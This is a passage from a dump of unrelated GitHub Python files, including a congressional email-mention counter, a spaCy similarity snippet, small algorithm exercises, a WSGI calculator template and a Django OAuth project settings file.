Buchanan", "Rep Mack", "Rep Posey", "Rep Rooney", "Rep Wilson", "Rep Ros-Lehtinen", "Rep Deutch", "Rep Wasserman Schultz", "Rep Diaz-Balart", "Rep West", "Rep Hastings", "Rep Adams", "Rep Rivera", "Rep Kingston", "Rep Bishop", "Rep Westmoreland", "Rep Johnson", "Rep Lewis", "Rep Price", "Rep Woodall", "Rep Scott", "Rep Graves", "Rep Broun", "Rep Gingrey", "Rep Barrow", "Rep Scott", "Rep Bordallo", "Rep Hanabusa", "Rep Hirono", "Rep Labrador", "Rep Simpson", "Rep Rush", "Rep Jackson", "Rep Lipinski", "Rep Gutierrez", "Rep Quigley", "Rep Roskam", "Rep Davis", "Rep Walsh", "Rep Schakowsky", "Rep Dold", "Rep Kinzinger", "Rep Costello", "Rep Biggert", "Rep Hultgren", "Rep Manzullo", "Rep Schilling", "Rep Schock", "Rep Shimkus", "Rep Visclosky", "Rep Donnelly", "Rep Stutzman", "Rep Rokita", "Rep Burton", "Rep Pence", "Rep Carson", "Rep Bucshon", "Rep Young", "Rep Braley", "Rep Loebsack", "Rep Boswell", "Rep Latham", "Rep King", "Rep Huelskamp", "Rep Jenkins", "Rep Yoder", "Rep Pompeo", "Rep Whitfield", "Rep Guthrie", "Rep Yarmuth", "Rep Davis", "Rep Rogers", "Rep Chandler", "Rep Scalise", "Rep Richmond", "Rep Landry", "Rep Fleming", "Rep Alexander", "Rep Cassidy", "Rep Boustany", "Rep Pingree", "Rep Michaud", "Rep Harris", "Rep Ruppersberger", "Rep Sarbanes", "Rep Edwards", "Rep Hoyer", "Rep Bartlett", "Rep Cummings", "Rep Van Hollen", "Rep Olver", "Rep Neal", "Rep McGovern", "Rep Frank", "Rep Tsongas", "Rep Tierney", "Rep Markey", "Rep Capuano", "Rep Lynch", "Rep Keating", "Rep Benishek", "Rep Huizenga", "Rep Amash", "Rep Camp", "Rep Kildee", "Rep Upton", "Rep Walberg", "Rep Peters", "Rep Miller", "Rep McCotter", "Rep Levin", "Rep Clarke", "Rep Conyers", "Rep Dingell", "Rep Walz", "Rep Kline", "Rep Paulsen", "Rep McCollum", "Rep Ellison", "Rep Bachmann", "Rep Peterson", "Rep Cravaack", "Rep Nunnelee", "Rep Thompson", "Rep Harper", "Rep Palazzo", "Rep Clay", "Rep Akin", "Rep Carnahan", "Rep Hartzler", "Rep Cleaver", "Rep Graves", "Rep Long", "Rep Emerson", "Rep Luetkemeyer", "Rep Rehberg", "Rep Fortenberry", "Rep Terry", "Rep Smith", "Rep Berkley", "Rep Amodei", "Rep Heck", "Rep Guinta", "Rep Bass", "Rep Andrews", "Rep LoBiondo", "Rep Runyan", "Rep Smith", "Rep Garrett", "Rep Pallone", "Rep Lance", "Rep Pascrell", "Rep Rothman", "Rep Payne", "Rep Frelinghuysen", "Rep Holt", "Rep Sires", "Rep Heinrich", "Rep Pearce", "Rep Lujan", "Rep Bishop", "Rep Israel", "Rep King", "Rep McCarthy", "Rep Ackerman", "Rep Meeks", "Rep Crowley", "Rep Nadler", "Rep Weiner", "Rep Turner", "Rep Towns", "Rep Clarke", "Rep Velazquez", "Rep Grimm", "Rep Maloney", "Rep Rangel", "Rep Serrano", "Rep Engel", "Rep Lowey", "Rep Hayworth", "Rep Gibson", "Rep Tonko", "Rep Hinchey", "Rep Owens", "Rep Hanna", "Rep Buerkle", "Rep Lee", "Rep Hochul", "Rep Higgins", "Rep Slaughter", "Rep Reed", "Rep Butterfield", "Rep Ellmers", "Rep Jones", "Rep Price", "Rep Foxx", "Rep Coble", "Rep McIntyre", "Rep Kissell", "Rep Myrick", "Rep McHenry", "Rep Shuler", "Rep Watt", "Rep Miller", "Rep Berg", "Rep Sablan", "Rep Chabot", "Rep Schmidt", "Rep Turner", "Rep Jordan", "Rep Latta", "Rep Johnson", "Rep Austria", "Rep Boehner", "Rep Kaptur", "Rep Kucinich", "Rep Fudge", "Rep Tiberi", "Rep Sutton", "Rep LaTourette", "Rep Stivers", "Rep Renacci", "Rep Ryan", "Rep Gibbs", "Rep Sullivan", "Rep Boren", "Rep Lucas", "Rep Cole", "Rep Lankford", "Rep Wu", "Rep Bonamici", "Rep Walden", "Rep Blumenauer", "Rep DeFazio", "Rep Schrader", "Rep Brady", "Rep Fattah", "Rep Kelly", "Rep Altmire", "Rep Thompson", "Rep Gerlach", "Rep Meehan", "Rep Fitzpatrick", "Rep Shuster", "Rep Marino", "Rep Barletta", "Rep Critz", "Rep Schwartz", "Rep Doyle", "Rep Dent", "Rep Pitts", "Rep Holden", "Rep Murphy", "Rep Platts", "Rep Pierluisi", "Rep Cicilline", "Rep Langevin", "Rep Scott", "Rep Wilson", "Rep Duncan", "Rep Gowdy", "Rep Mulvaney", "Rep Clyburn", "Rep Noem", "Rep Roe", "Rep Duncan", "Rep Fleischmann", "Rep DesJarlais", "Rep Cooper", "Rep Black", "Rep Blackburn", "Rep Fincher", "Rep Cohen", "Rep Gohmert", "Rep Poe", "Rep Johnson", "Rep Hall", "Rep Hensarling", "Rep Barton", "Rep Culberson", "Rep Brady", "Rep Green", "Rep McCaul", "Rep Conaway", "Rep Granger", "Rep Thornberry", "Rep Paul", "Rep Hinojosa", "Rep Reyes", "Rep Flores", "Rep Jackson Lee", "Rep Neugebauer", "Rep Gonzalez", "Rep Smith", "Rep Olson", "Rep Canseco", "Rep Marchant", "Rep Doggett", "Rep Burgess", "Rep Farenthold", "Rep Cuellar", "Rep Green", "Rep Johnson", "Rep Carter", "Rep Sessions", "Rep Christian-Christensen", "Rep Bishop", "Rep Matheson", "Rep Chaffetz", "Rep Welch", "Rep Wittman", "Rep Rigell", "Rep Scott", "Rep Forbes", "Rep Hurt", "Rep Goodlatte", "Rep Cantor", "Rep Moran", "Rep Griffith", "Rep Wolf", "Rep Connolly", "Rep Inslee", "Rep Larsen", "Rep HerreraBeutler", "Rep Hastings", "Rep McMorris Rodgers", "Rep Dicks", "Rep McDermott", "Rep Reichert", "Rep Smith", "Rep McKinley", "Rep Capito", "Rep Rahall", "Rep Ryan", "Rep Baldwin", "Rep Kind", "Rep Moore", "Rep Sensenbrenner", "Rep Petri", "Rep Duffy", "Rep Ribble", "Rep Lummis"] sen_name_list = ["Jeff Sessions", "Richard Shelby", "Mark Begich", "Lisa Murkowski", "Jon Kyl", "John McCain", "John Boozman", "Mark Pryor", "Barbara Boxer", "Dianne Feinstein", "Michael Bennet", "Mark Udall", "Richard Blumenthal", "Joseph Lieberman", "Thomas Carper", "Chris Coons", "Marco Rubio", "Bill Nelson", "Saxby Chambliss", "Johnny Isakson", "Daniel Akaka", "Daniel Inouye", "Michael Crapo", "James Risch", "Mark Kirk", "Richard Durbin", "Daniel Coats", "Richard Lugar", "Chuck Grassley", "Tom Harkin", "Jerry Moran", "Pat Roberts", "Rand Paul", "Mitch McConnell", "Mary Landrieu", "David Vitter", "Susan Collins", "Olympia Snowe", "Benjamin Cardin", "Barbara Mikulski", "John Kerry", "Scott Brown", "Carl Levin", "Debbie Stabenow", "Al Franken", "Amy Klobuchar", "Thad Cochran", "Roger Wicker", "Roy Blunt", "Claire McCaskill", "Max Baucus", "Jon Tester", "Mike Johanns", "Ben Nelson", "John Ensign", "Harry Reid", "Kelly Ayotte", "Jeanne Shaheen", "Frank Lautenberg", "Robert Menéndez", "Jeff Bingaman", "Tom Udall", "Kirsten Gillibrand", "Charles Schumer", "Richard Burr", "Kay Hagan", "Kent Conrad", "John Hoeven", "Sherrod Brown", "Rob Portman", "Thomas Coburn", "James Inhofe", "Jeff Merkley", "Ron Wyden", "Robert Casey", "Pat Toomey", "Jack Reed", "Sheldon Whitehouse", "Jim DeMint", "Lindsey Graham", "John Thune", "Lamar Alexander", "Bob Corker", "John Cornyn", "Kay Bailey Hutchison", "Mike Lee", "Orrin Hatch", "Patrick Leahy", "Bernard Sanders", "Mark Warner", "Jim Webb", "Maria Cantwell", "Patty Murray", "Joe Manchin", "John D. Rockefeller", "Ron Johnson", "Herb Kohl", "John Barrasso", "Michael Enzi"] senator_list = ["Senator Sessions", "Senator Shelby", "Senator Begich", "Senator Murkowski", "Senator Kyl", "Senator McCain", "Senator Boozman", "Senator Pryor", "Senator Boxer", "Senator Feinstein", "Senator Bennet", "Senator Udall", "Senator Blumenthal", ["Senator Lieberman","Joe Lieberman"], ["Senator Carper","Tom Carper"], "Senator Coons", "Senator Rubio", "Senator Nelson", "Senator Chambliss", "Senator Isakson", "Senator Akaka", ["Senator Inouye","Dan Inouye"], ["Senator Crapo","Mike Crapo"], "Senator Risch", "Senator Kirk", ["Senator Durbin","Dick Durbin"], ["Senator Coats","Dan Coats"], ["Senator Lugar","Dick Lugar"], "Senator Grassley", "Senator Harkin", "Senator Moran", "Senator Roberts", "Senator Paul", "Senator McConnell", "Senator Landrieu", "Senator Vitter", "Senator Collins", "Senator Snowe", "Senator Cardin", "Senator Mikulski", "Senator Kerry", "Senator Brown", "Senator Levin", "Senator Stabenow", "Senator Franken", "Senator Klobuchar", "Senator Cochran", "Senator Wicker", "Senator Blunt", "Senator McCaskill", "Senator Baucus", "Senator Tester", "Senator Johanns", "Senator Nelson", "Senator Ensign", "Senator Reid", "Senator Ayotte", "Senator Shaheen", "Senator Lautenberg", "Senator Menéndez", "Senator Bingaman", "Senator Udall", "Senator Gillibrand", "Senator Schumer", "Senator Burr", "Senator Hagan", "Senator Conrad", "Senator Hoeven", "Senator Brown", "Senator Portman", ["Senator Coburn","Tom Coburn"], ["Senator Inhofe","Jim Inhofe"], "Senator Merkley", "Senator Wyden", ["Senator Casey","Bob Casey"], "Senator Toomey", "Senator Reed", "Senator Whitehouse", "Senator DeMint", "Senator Graham", "Senator Thune", "Senator Alexander", "Senator Corker", "Senator Cornyn", "Senator Hutchison", "Senator Lee", "Senator Hatch", ["Senator Leahy","Pay Leahy"], ["Senator Sanders","Bernie Sanders"], "Senator Warner", "Senator Webb", "Senator Cantwell", "Senator Murray", "Senator Manchin", ["Senator Rockefeller","Jay Rockefeller"], "Senator Johnson", "Senator Kohl", "Senator Barrasso", ["Senator Enzi","Mike Enzi"]] sen_list1 = ["Sen. Sessions", "Sen. Shelby", "Sen. Begich", "Sen. Murkowski", "Sen. Kyl", "Sen. McCain", "Sen. Boozman", "Sen. Pryor", "Sen. Boxer", "Sen. Feinstein", "Sen. Bennet", "Sen. Udall", "Sen. Blumenthal", "Sen. Lieberman", "Sen. Carper", "Sen. Coons", "Sen. Rubio", "Sen. Nelson", "Sen. Chambliss", "Sen. Isakson", "Sen. Akaka", "Sen. Inouye", "Sen. Crapo", "Sen. Risch", "Sen. Kirk", "Sen. Durbin", "Sen. Coats", "Sen. Lugar", "Sen. Grassley", "Sen. Harkin", "Sen. Moran", "Sen. Roberts", "Sen. Paul", "Sen. McConnell", "Sen. Landrieu", "Sen. Vitter", "Sen. Collins", "Sen. Snowe", "Sen. Cardin", "Sen. Mikulski", "Sen. Kerry", "Sen. Brown", "Sen. Levin", "Sen. Stabenow", "Sen. Franken", "Sen. Klobuchar", "Sen. Cochran", "Sen. Wicker", "Sen. Blunt", "Sen. McCaskill", "Sen. Baucus", "Sen. Tester", "Sen. Johanns", "Sen. Nelson", "Sen. Ensign", "Sen. Reid", "Sen. Ayotte", "Sen. Shaheen", "Sen. Lautenberg", "Sen. Menéndez", "Sen. Bingaman", "Sen. Udall", "Sen. Gillibrand", "Sen. Schumer", "Sen. Burr", "Sen. Hagan", "Sen. Conrad", "Sen. Hoeven", "Sen. Brown", "Sen. Portman", "Sen. Coburn", "Sen. Inhofe", "Sen. Merkley", "Sen. Wyden", "Sen. Casey", "Sen. Toomey", "Sen. Reed", "Sen. Whitehouse", "Sen. DeMint", "Sen. Graham", "Sen. Thune", "Sen. Alexander", "Sen. Corker", "Sen. Cornyn", "Sen. Hutchison", "Sen. Lee", "Sen. Hatch", "Sen. Leahy", "Sen. Sanders", "Sen. Warner", "Sen. Webb", "Sen. Cantwell", "Sen. Murray", "Sen. Manchin", "Sen. Rockefeller", "Sen. Johnson", "Sen. Kohl", "Sen. Barrasso", "Sen. Enzi"] sen_list2 = ["Sen Sessions", "Sen Shelby", "Sen Begich", "Sen Murkowski", "Sen Kyl", "Sen McCain", "Sen Boozman", "Sen Pryor", "Sen Boxer", "Sen Feinstein", "Sen Bennet", "Sen Udall", "Sen Blumenthal", "Sen Lieberman", "Sen Carper", "Sen Coons", "Sen Rubio", "Sen Nelson", "Sen Chambliss", "Sen Isakson", "Sen Akaka", "Sen Inouye", "Sen Crapo", "Sen Risch", "Sen Kirk", "Sen Durbin", "Sen Coats", "Sen Lugar", "Sen Grassley", "Sen Harkin", "Sen Moran", "Sen Roberts", "Sen Paul", "Sen McConnell", "Sen Landrieu", "Sen Vitter", "Sen Collins", "Sen Snowe", "Sen Cardin", "Sen Mikulski", "Sen Kerry", "Sen Brown", "Sen Levin", "Sen Stabenow", "Sen Franken", "Sen Klobuchar", "Sen Cochran", "Sen Wicker", "Sen Blunt", "Sen McCaskill", "Sen Baucus", "Sen Tester", "Sen Johanns", "Sen Nelson", "Sen Ensign", "Sen Reid", "Sen Ayotte", "Sen Shaheen", "Sen Lautenberg", "Sen Menéndez", "Sen Bingaman", "Sen Udall", "Sen Gillibrand", "Sen Schumer", "Sen Burr", "Sen Hagan", "Sen Conrad", "Sen Hoeven", "Sen Brown", "Sen Portman", "Sen Coburn", "Sen Inhofe", "Sen Merkley", "Sen Wyden", "Sen Casey", "Sen Toomey", "Sen Reed", "Sen Whitehouse", "Sen DeMint", "Sen Graham", "Sen Thune", "Sen Alexander", "Sen Corker", "Sen Cornyn", "Sen Hutchison", "Sen Lee", "Sen Hatch", "Sen Leahy", "Sen Sanders", "Sen Warner", "Sen Webb", "Sen Cantwell", "Sen Murray", "Sen Manchin", "Sen Rockefeller", "Sen Johnson", "Sen Kohl", "Sen Barrasso", "Sen Enzi"] def read_json(json_fp): '''Reads a json and returns the enclosed data.''' with open(json_fp, 'r') as json_file: data = json.load(json_file) return data def increment_key(dictionary, key1, key2, party, gender, state, startdate, leadership_title): '''If the dictionary has the key, increment the value, otherwise initialize the key with value 1. key1 is the sender and key2 is the congressman being mentioned''' if key1 in dictionary: if key2 in dictionary[key1]: dictionary[key1][key2] += 1 else: dictionary[key1][key2] = 1 else: dictionary[key1] = {key2:1,'party':party,'gender':gender,'state':state,'startdate':startdate,'leadership_title':leadership_title} def generate_names(entry): '''Generates a list of the possible names from a given sender''' name = entry['firstname'] + ' ' + entry['lastname'] name1 = entry['firstname'] + ' ' + entry['middlename'] + ' ' + entry['lastname'] name2 = entry['firstname'] + ' ' + entry['lastname'] + ' ' + entry['namemod'] name3 = entry['firstname'] + ' ' + entry['middlename'] +' ' + entry['lastname'] + ' ' + entry['namemod'] if not entry['nickname'] == '': name4 = entry['nickname'] + ' ' + entry['lastname'] name5 = entry['nickname'] + ' ' + entry['middlename'] + ' ' + entry['lastname'] name6 = entry['nickname'] + ' ' + entry['lastname'] + ' ' + entry['namemod'] name7 = entry['nickname'] + ' ' + entry['middlename'] +' ' + entry['lastname'] + ' ' + entry['namemod'] name8 = entry['firstname'] + ' ' + entry['nickname'] + ' ' + entry['lastname'] if not entry['middlename'] == '': name9 = entry['firstname'] + ' ' + entry['middlename'][0] + '. ' + entry['lastname'] name10 = entry['firstname'] + ' ' + entry['middlename'][0] +'. ' + entry['lastname'] + ' ' + entry['namemod'] name11 = entry['firstname'] + ' ' + entry['middlename'][0] + '. ' + entry['lastname'] name12 = entry['firstname'] + ' ' + entry['middlename'][0] +'. ' + entry['lastname'] + ' ' + entry['namemod'] return [name, name1, name2, name3, name4, name5, name6, name7, name8, name9, name10, name11, name12] else: return [name, name1, name2, name3, name4, name5, name6, name7, name8] elif not entry['middlename'] == '': name9 = entry['firstname'] + ' ' + entry['middlename'][0] + '. ' + entry['lastname'] name10 = entry['firstname'] + ' ' + entry['middlename'][0] +'. ' + entry['lastname'] + ' ' + entry['namemod'] name11 = entry['firstname'] + ' ' + entry['middlename'][0] + '. ' + entry['lastname'] name12 = entry['firstname'] + ' ' + entry['middlename'][0] +'. ' + entry['lastname'] + ' ' + entry['namemod'] return [name, name1, name2, name3, name9, name10, name11, name12] else: return [name, name1, name2, name3] def search(data, name_list): '''Searches through the emails to find the names of Congressmen and calls increment_key if one is found.''' congressmen_dict = {} bad_names = ['Representative Miller','Rep. Miller','Rep Miller','Senator Nelson','Sen. Nelson','Sen Nelson','Representative Murphy','Rep. Murphy','Rep Murphy','Representative Young','Rep. Young','Rep Young','Representative Lee','Rep. Lee','Rep Lee','Representative Thompson','Rep. Thompson','Rep Thompson','Representative Young','Rep. Young','Rep Young'] for entry in data: name_match = False match_list = generate_names(entry) for group in name_list: #this section ensures that the sender is in the 112th congress for elem in group: for temp in match_list: if isinstance(elem,list): for foo in elem: if temp.lower() == foo.lower(): sender_name = group[0] name_match = True elif temp.lower() == elem.lower(): sender_name = group[0] name_match = True if name_match: #if the sender is in the 112th congress, continue for group in name_list: mention_name = group[0] for elem in group: if isinstance(elem,list): for temp in elem: if temp.lower() in entry['Body'].lower() and temp not in bad_names: increment_key(congressmen_dict, sender_name, mention_name, entry['party'], entry['gender_label'], entry['state'], entry['startdate'],entry['leadership_title']) elif elem.lower() in entry['Body'].lower() and elem not in bad_names: increment_key(congressmen_dict, sender_name, mention_name, entry['party'], entry['gender_label'], entry['state'], entry['startdate'], entry['leadership_title']) break else: if sender_name not in congressmen_dict: congressmen_dict[sender_name] = {mention_name:0,'party':entry['party'],'gender':entry['gender'],'state':entry['state'],'startdate':entry['startdate'],'leadership_title':entry['leadership_title']} if mention_name not in congressmen_dict[sender_name]: congressmen_dict[sender_name][mention_name] = 0 return congressmen_dict def form_lists(dictionary): '''Forms the lists that will be written as csvs''' return_list = [['Source','Target','Weight','Party','Gender','State','Start Date','Leadership Title']] for entry in dictionary: for value in dictionary[entry]: if not (value == 'party' or value == 'gender' or value == 'state' or value == 'startdate' or value == 'leadership_title'): if not dictionary[entry][value] == 0 and not entry == value: append_list = [entry,value,dictionary[entry][value],dictionary[entry]['party'],dictionary[entry]['gender'],dictionary[entry]['state'],dictionary[entry]['startdate'],dictionary[entry]['leadership_title']] return_list.append(append_list) return return_list def write_csv(data, csv_fp): '''Writes a list of lists to a csv file with each list as a row.''' with open(csv_fp, 'w') as out: csv_out = csv.writer(out, lineterminator = '\n') for row in data: csv_out.writerow(row) json_data = read_json('112th_congress.json') rep_list_full = list(zip(rep_name_list, representative_list, rep_list1, rep_list2)) sen_list_full = list(zip(sen_name_list, senator_list, sen_list1, sen_list2)) full_name_list = rep_list_full + sen_list_full #This section will create a .csv for Representatives #mentions_dict = search(json_data,rep_list_full) #lists = form_lists(mentions_dict) #write_csv(lists, 'house_mentions_for_gephi.csv') #This section will create a .csv for Senators #mentions_dict = search(json_data,sen_list_full) #lists = form_lists(mentions_dict) #write_csv(lists, 'senate_mentions_for_gephi.csv')''' mentions_dict = search(json_data,full_name_list) lists = form_lists(mentions_dict) write_csv(lists, 'congress_mentions_for_gephi_with_extra_info.csv')

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stephenmcardle.noreply@github.com

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jennkimerson/hackharvard19

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refs/heads/master

2020-08-22T09:39:39.962411

2019-10-25T14:15:10

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2019-10-20T13:39:50

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py

import spacy nlp = spacy.load('en_core_web_md') doc = nlp(u'football soccer baseball') football = doc[0] soccer = doc[1] baseball = doc[2] print(football.similarity(soccer)) print(football.similarity(baseball)) print(baseball.similarity(soccer)) # simulates 2 users doc1 = nlp(u'football') football = doc1[0] doc2 = nlp(u'soccer') soccer = doc2[0] print(football.similarity(soccer))

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jennkimerson.noreply@github.com

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drownedout/data_structures_algorithms

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refs/heads/master

2020-12-26T13:11:09.157102

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""" =============== Unique Characters =============== Determine if a string is made up of all unique characters. """ # Single line solution def unique_char_one(string: str) -> bool: return len(set(string)) == len(string) # More verbose solution def unique_char_two(string: str) -> bool: characters = set() for letter in string: # If the letter already exists - it is not unique if letter in characters: return False else: characters.add(letter) return True

[ "danielcdonnelly@gmail.com" ]

danielcdonnelly@gmail.com

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seaneightysix/wsgi-calculator

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refs/heads/master

2020-06-21T12:41:05.790660

2019-07-20T17:06:47

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class Template(): def home(): return ''' <head> <title>Internet Programming in Python: wsgi-calculator Assignment</title> </head> <body> <h1>Internet Programming in Python: wsgi-calculator Assignment</h1> <h2>Please follow the format below to operate the calculator:</h2> <p>For multiplacation: http://localhost:8080/multiply/3/5</p> <p>For addition: http://localhost:8080/add/23/42</p> <p>For subtraction: http://localhost:8080/subtract/23/42</p> <p>For division: http://localhost:8080/divide/22/11</p> </body> ''' def answer(operation, ans): page = ''' <h1>The answer for the {} operation is: {}.</h1> ''' return page.format(operation, ans)

[ "sean.eightysix@GMAIL.com" ]

sean.eightysix@GMAIL.com

a9af0a62b1fb70533cb84d1aacff5daafd3a40d0

f3c8cc1e83782c8764c904bdfac24f2c6ba0591e

/wangtao/leetcode/0234.py

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[]

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wangtao090620/LeetCode

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dd6b9a07479d7a8c04672024595cf04a3ed0d067

refs/heads/master

2020-09-09T10:57:51.559497

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#!/usr/bin/env python # -*- encoding: utf-8 -*- # @Author : wangtao # @Contact : wangtao090620@gmail.com # @Time : 2019-12-28 10:12 # Definition for singly-linked list. class ListNode: def __init__(self, x): self.val = x self.next = None class Solution: def isPalindrome(self, head: ListNode) -> bool: fast = slow = head # 快指正到尾部，慢指针正好在链表一半的位置 while fast and fast.next: fast = fast.next.next slow = slow.next node = None while slow: nxt = slow.next slow.next = node node = slow slow = nxt while node: if head.val != node.val: return False head = head.next node = node.next return True if __name__ == '__main__': pass

[ "wangtao090620@gmail.com" ]

wangtao090620@gmail.com

9da447e80fc6687b168a437cd26366af2a97a0d2

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/bbp/bbp/settings.py

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permissive

ekivemark/bbp_oa

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7f36f1600b9b4edfd36f829f73cf24f277a60d89

refs/heads/master

2020-06-25T22:35:20.051549

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""" Django settings for bbp_oa project. For more information on this file, see https://docs.djangoproject.com/en/1.7/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.7/ref/settings/ """ # Build paths inside the project like this: os.path.join(BASE_DIR, ...) import os import sys BASE_DIR = os.path.dirname(os.path.dirname(__file__)) APPS_DIR = os.path.join(BASE_DIR, 'bbp/apps') sys.path.insert(0, APPS_DIR) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/1.7/howto/deployment/checklist/ # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True TEMPLATE_DEBUG = True # Use this to review Settings at run time DEBUG_SETTINGS = True APPLICATION_TITLE="BlueButtonPlus" if DEBUG_SETTINGS: print "Application: %s" % APPLICATION_TITLE print "" print "BASE_DIR:%s " % BASE_DIR print "APPS_DIR:%s " % APPS_DIR ALLOWED_HOSTS = [] ADMINS = ( ('Mark Scrimshire', 'mark@ekivemark.com'), ) MANAGERS = ADMINS # Application definition INSTALLED_APPS = ( # add admin_bootstrapped items before django.contrib.admin 'django_admin_bootstrapped.bootstrap3', 'django_admin_bootstrapped', 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'bootstrap3', 'bootstrap_themes', # https://django-oauth2-provider.readthedocs.org/en/latest/getting_started.html #'provider', #'provider.oauth2', # http://django-oauth-toolkit.readthedocs.org/en/latest/tutorial/tutorial_01.html 'oauth2_provider', 'corsheaders', 'rest_framework', ) AUTHENTICATION_BACKENDS = ( 'oauth2_provider.backends.OAuth2Backend', # Uncomment following if you want to access the admin 'django.contrib.auth.backends.ModelBackend', #'...', ) MIDDLEWARE_CLASSES = ( 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.auth.middleware.SessionAuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', 'corsheaders.middleware.CorsMiddleware', 'oauth2_provider.middleware.OAuth2TokenMiddleware', ) # http://django-oauth-toolkit.readthedocs.org/en/latest/tutorial/tutorial_01.html # Allow CORS requests from all domains (just for the scope of this tutorial): CORS_ORIGIN_ALLOW_ALL = True ROOT_URLCONF = 'bbp.urls' WSGI_APPLICATION = 'bbp.wsgi.application' # Database # https://docs.djangoproject.com/en/1.7/ref/settings/#databases DBPATH = os.path.join(BASE_DIR, 'db/db.db') if DEBUG_SETTINGS: print "DBPATH:",DBPATH DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', # Add 'postgresql_psycopg2', 'mysql', 'sqlite3' or 'oracle'. 'NAME': DBPATH, # Or path to database file if using sqlite3. 'USER': '', # Not used with sqlite3. 'PASSWORD': '', # Not used with sqlite3. 'HOST': '', # Set to empty string for localhost. Not used with sqlite3. 'PORT': '', # Set to empty string for default. Not used with sqlite3. } } # Internationalization # https://docs.djangoproject.com/en/1.7/topics/i18n/ # Local time zone for this installation. Choices can be found here: # http://en.wikipedia.org/wiki/List_of_tz_zones_by_name # although not all choices may be available on all operating systems. # On Unix systems, a value of None will cause Django to use the same # timezone as the operating system. # If running in a Windows environment this must be set to the same as your # system time zone. TIME_ZONE = 'America/New_York' # TIME_ZONE = 'UTC' # Language code for this installation. All choices can be found here: # http://www.i18nguy.com/unicode/language-identifiers.html LANGUAGE_CODE = 'en-us' # If you set this to False, Django will make some optimizations so as not # to load the internationalization machinery. USE_I18N = True # If you set this to False, Django will not format dates, numbers and # calendars according to the current locale. USE_L10N = True # If you set this to False, Django will not use timezone-aware datetimes. USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.7/howto/static-files/ # Absolute path to the directory static files should be collected to. # Don't put anything in this directory yourself; store your static files # in apps' "static/" subdirectories and in STATICFILES_DIRS. # Example: "/home/media/media.lawrence.com/static/" # STATIC_ROOT = '' STATIC_ROOT = os.path.join(BASE_DIR, 'static') STATIC_URL = '/static/' if DEBUG_SETTINGS: print "STATIC_ROOT:%s" % STATIC_ROOT ADMIN_MEDIA_PREFIX = '/static/admin' MAIN_STATIC_ROOT = os.path.join(BASE_DIR, 'mainstatic') if DEBUG_SETTINGS: print "MAIN_STATIC_ROOT:%s" % MAIN_STATIC_ROOT # Additional locations of static files STATICFILES_DIRS = ( # Put strings here, like "/home/html/static" or "C:/www/django/static". # Always use forward slashes, even on Windows. # Don't forget to use absolute paths, not relative paths. MAIN_STATIC_ROOT, # '/Users/mark/PycharmProjects/virtualenv/rb/rainbowbutton/static', ) # List of finder classes that know how to find static files in # various locations. STATICFILES_FINDERS = ( 'django.contrib.staticfiles.finders.FileSystemFinder', 'django.contrib.staticfiles.finders.AppDirectoriesFinder', # 'django.contrib.staticfiles.finders.DefaultStorageFinder', ) TEMPLATE_DIRS = ( # Put strings here, like "/home/html/django_templates" or "C:/www/django/templates". # Always use forward slashes, even on Windows. # Don't forget to use absolute paths, not relative paths. os.path.join(BASE_DIR, 'bbp/templates'), ) TEMPLATE_VISIBLE_SETTINGS = { # Put Strings here that you want to be visible in the templates # then add settings_context_processor 'DEBUG', 'TEMPLATE_DEBUG', 'APPLICATION_TITLE', } TEMPLATE_MODULES = { # Put the names of custom modules in this section # This will be used by home.index to display a list of modules # that can be called 'privacy', 'about', 'contact', 'terms', 'faq', 'admin', 'accounts/profile', 'accounts/logout', 'accounts/login', } TEMPLATE_CONTEXT_PROCESSORS = ( # Use a context processor to enable frequently used settings variables # to be used in templates 'django.contrib.auth.context_processors.auth', 'bbp.settings_context_processor.settings', ) # Default settings for bootstrap 3 BOOTSTRAP3 = { # The URL to the jQuery JavaScript file 'jquery_url': '//code.jquery.com/jquery.min.js', # The Bootstrap base URL 'base_url': '//netdna.bootstrapcdn.com/bootstrap/3.2.0/', # The complete URL to the Bootstrap CSS file (None means derive it from base_url) 'css_url': None, # The complete URL to the Bootstrap CSS file (None means no theme) 'theme_url': None, # The complete URL to the Bootstrap JavaScript file (None means derive it from base_url) 'javascript_url': None, # Put JavaScript in the HEAD section of the HTML document (only relevant if you use bootstrap3.html) 'javascript_in_head': False, # Include jQuery with Bootstrap JavaScript (affects django-bootstrap3 template tags) 'include_jquery': False, # Label class to use in horizontal forms 'horizontal_label_class': 'col-md-2', # Field class to use in horizontal forms 'horizontal_field_class': 'col-md-4', # Set HTML required attribute on required fields 'set_required': True, # Set placeholder attributes to label if no placeholder is provided 'set_placeholder': True, # Class to indicate required (better to set this in your Django form) 'required_css_class': '', # Class to indicate error (better to set this in your Django form) 'error_css_class': 'has-error', # Class to indicate success, meaning the field has valid input (better to set this in your Django form) 'success_css_class': 'has-success', # Renderers (only set these if you have studied the source and understand the inner workings) 'formset_renderers':{ 'default': 'bootstrap3.renderers.FormsetRenderer', }, 'form_renderers': { 'default': 'bootstrap3.renderers.FormRenderer', }, 'field_renderers': { 'default': 'bootstrap3.renderers.FieldRenderer', 'inline': 'bootstrap3.renderers.InlineFieldRenderer', }, } # http://django-oauth-toolkit.readthedocs.org/en/latest/rest-framework/getting_started.html OAUTH2_PROVIDER = { # this is the list of available scopes 'SCOPES': {'read': 'Read scope', 'write': 'Write scope', 'groups': 'Access to your groups'} } REST_FRAMEWORK = { 'DEFAULT_AUTHENTICATION_CLASSES': ( 'oauth2_provider.ext.rest_framework.OAuth2Authentication', ), 'DEFAULT_PERMISSION_CLASSES': ( 'rest_framework.permissions.IsAuthenticated', ), } # @login_required defaults to using settings.LOGIN_URL # if login_url= is not defined #LOGIN_URL='/member/login' # A sample logging configuration. The only tangible logging # performed by this configuration is to send an email to # the site admins on every HTTP 500 error when DEBUG=False. # See http://docs.djangoproject.com/en/dev/topics/logging for # more details on how to customize your logging configuration. LOGGING = { 'version': 1, 'disable_existing_loggers': False, 'filters': { 'require_debug_false': { '()': 